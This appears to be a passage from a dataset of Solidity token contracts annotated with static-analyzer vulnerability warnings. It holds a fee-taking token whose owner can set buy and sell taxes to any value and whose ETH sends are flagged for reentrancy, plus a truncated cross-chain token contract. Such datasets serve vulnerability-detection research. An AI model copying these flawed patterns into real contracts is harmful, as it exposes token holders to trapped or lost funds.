"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BlackVaultAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc19102): BlackVaultAI.enabled should be constant \n\t// Recommendation for bc19102: Add the 'constant' attribute to state variables that never change.\n uint256 private enabled = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 016e07f): BlackVaultAI._taxWallet should be constant \n\t// Recommendation for 016e07f: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0x297fC8FbE602cf7Bae0449e15aAFCC1EaFA30727);\n\n\t// WARNING Optimization Issue (constable-states | ID: c335c37): BlackVaultAI._devWallet should be constant \n\t// Recommendation for c335c37: Add the 'constant' attribute to state variables that never change.\n address payable private _devWallet =\n payable(0x297fC8FbE602cf7Bae0449e15aAFCC1EaFA30727);\n\n uint256 private _finalBuyTax = 15;\n\n uint256 private _finalSellTax = 20;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Black Vault Ai\";\n\n string private constant _symbol = unicode\"$BLVT\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7649e0): BlackVaultAI._taxSwapThreshold should be constant \n\t// Recommendation for f7649e0: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba8f67a): BlackVaultAI._maxTaxSwap should be constant \n\t// Recommendation for ba8f67a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0a3cd39): BlackVaultAI.uniswapV2Router should be immutable \n\t// Recommendation for 0a3cd39: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 78542e0): BlackVaultAI.uniswapV2Pair should be immutable \n\t// Recommendation for 78542e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_msgSender()] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[_devWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function xluddeFrom(address[] memory wallets_) public onlyOwner {\n for (uint i = 0; i < wallets_.length; i++) {\n _isExcludedFromFee[wallets_[i]] = true;\n }\n }\n\n function removesEx(address[] memory wallets_) public onlyOwner {\n for (uint i = 0; i < wallets_.length; i++) {\n _isExcludedFromFee[wallets_[i]] = false;\n }\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"ERROR: Trading already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c68fc43): BlackVaultAI.modifyTax(uint256,uint256) should emit an event for _finalBuyTax = _newBuyFee _finalSellTax = _newSellFee \n\t// Recommendation for c68fc43: Emit an event for critical parameter changes.\n function modifyTax(\n uint256 _newBuyFee,\n uint256 _newSellFee\n ) external onlyOwner {\n\t\t// events-maths | ID: c68fc43\n _finalBuyTax = _newBuyFee;\n\n\t\t// events-maths | ID: c68fc43\n _finalSellTax = _newSellFee;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e1c555): BlackVaultAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3e1c555: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9c6aa5d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8958846\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1f01e92): BlackVaultAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1f01e92: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8958846): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8958846: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9c6aa5d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9c6aa5d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8958846\n\t\t// reentrancy-benign | ID: 9c6aa5d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8958846\n\t\t// reentrancy-benign | ID: 9c6aa5d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 176d42b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 176d42b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0d08578): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0d08578: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(tradingOpen, \"Trading not open\");\n\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount.mul(_finalBuyTax).div(100);\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount.mul(_finalSellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n\t\t\t\t// reentrancy-events | ID: 176d42b\n\t\t\t\t// reentrancy-eth | ID: 0d08578\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 176d42b\n\t\t\t\t\t// reentrancy-eth | ID: 0d08578\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0d08578\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 176d42b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0d08578\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0d08578\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 176d42b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 176d42b\n\t\t// reentrancy-events | ID: 8958846\n\t\t// reentrancy-benign | ID: 9c6aa5d\n\t\t// reentrancy-eth | ID: 0d08578\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n uint256 taxAmount = (amount.div(2));\n\n uint256 devAmount = (amount - taxAmount);\n\n\t\t// reentrancy-events | ID: 176d42b\n\t\t// reentrancy-events | ID: 8958846\n\t\t// reentrancy-eth | ID: 0d08578\n _taxWallet.transfer(taxAmount);\n\n\t\t// reentrancy-events | ID: 176d42b\n\t\t// reentrancy-events | ID: 8958846\n\t\t// reentrancy-eth | ID: 0d08578\n _devWallet.transfer(devAmount);\n }\n\n function manualSend() external {\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n _devWallet.transfer(ethBalance);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10143.sol",
"size_bytes": 16711,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1 AND GPL-3.0-only AND MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n\t\t// reentrancy-events | ID: 51c144e\n\t\t// reentrancy-benign | ID: 2be4c94\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance + value\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n require(\n oldAllowance >= value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance - value\n )\n );\n }\n }\n\n function forceApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeWithSelector(\n token.approve.selector,\n spender,\n value\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, 0)\n );\n\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n\n token.permit(owner, spender, value, deadline, v, r, s);\n\n uint256 nonceAfter = token.nonces(owner);\n\n require(\n nonceAfter == nonceBefore + 1,\n \"SafeERC20: permit did not succeed\"\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n\t\t// reentrancy-events | ID: 51c144e\n\t\t// reentrancy-benign | ID: 2be4c94\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n require(\n returndata.length == 0 || abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n\n function _callOptionalReturnBool(\n IERC20 token,\n bytes memory data\n ) private returns (bool) {\n (bool success, bytes memory returndata) = address(token).call(data);\n\n return\n success &&\n (returndata.length == 0 || abi.decode(returndata, (bool))) &&\n Address.isContract(address(token));\n }\n}\n\nabstract contract ERC2771Context is Context {\n address internal _trustedForwarder;\n\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function _setTrustedForwarder(address forwarder) internal {\n _trustedForwarder = forwarder;\n }\n\n function isTrustedForwarder(\n address forwarder\n ) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender()\n internal\n view\n virtual\n override\n returns (address sender)\n {\n if (isTrustedForwarder(msg.sender)) {\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData()\n internal\n view\n virtual\n override\n returns (bytes calldata)\n {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n\ncontract CrossChainERC20 is IERC20 {\n struct CrossChainERC20Config {\n string name;\n string symbol;\n uint8 decimals;\n uint64 originalChainId;\n address originalAddress;\n }\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n string public name;\n\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eb07c89): CrossChainERC20.decimals should be immutable \n\t// Recommendation for eb07c89: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7194a9c): CrossChainERC20.originalAddress should be immutable \n\t// Recommendation for 7194a9c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public originalAddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e85ae9e): CrossChainERC20.originalChainId should be immutable \n\t// Recommendation for e85ae9e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint64 public originalChainId;\n\n address public immutable deployer;\n\n uint256 public totalSupply;\n\n constructor(CrossChainERC20Config memory _config) {\n name = _config.name;\n\n symbol = _config.symbol;\n\n decimals = _config.decimals;\n\n originalChainId = _config.originalChainId;\n\n originalAddress = _config.originalAddress;\n\n deployer = msg.sender;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = msg.sender;\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = _allowances[owner][spender];\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n\n _balances[to] += amount;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = msg.sender;\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function mint(address to, uint256 amount) public {\n require(msg.sender == deployer);\n\n _balances[to] += amount;\n\n totalSupply += amount;\n }\n\n function burn(address from, uint256 amount) public {\n require(msg.sender == deployer);\n\n _balances[from] -= amount;\n\n totalSupply -= amount;\n }\n}\n\ninterface ICrossChainVault {\n function lock(address asset, uint256 amount) external returns (uint256);\n\n function unlock(address asset, uint256 amount) external;\n}\n\nabstract contract MessageBusAddress {\n\t// WARNING Optimization Issue (immutable-states | ID: 55dccf0): MessageBusAddress.messageBus should be immutable \n\t// Recommendation for 55dccf0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public messageBus;\n}\n\ninterface IMessageReceiverApp {\n enum ExecutionStatus {\n Fail,\n Success,\n Retry\n }\n\n function executeMessage(\n address _sender,\n uint64 _srcChainId,\n bytes calldata _message,\n address _executor\n ) external payable returns (ExecutionStatus);\n\n function executeMessage(\n bytes calldata _sender,\n uint64 _srcChainId,\n bytes calldata _message,\n address _executor\n ) external payable returns (ExecutionStatus);\n\n function executeMessageWithTransfer(\n address _sender,\n address _token,\n uint256 _amount,\n uint64 _srcChainId,\n 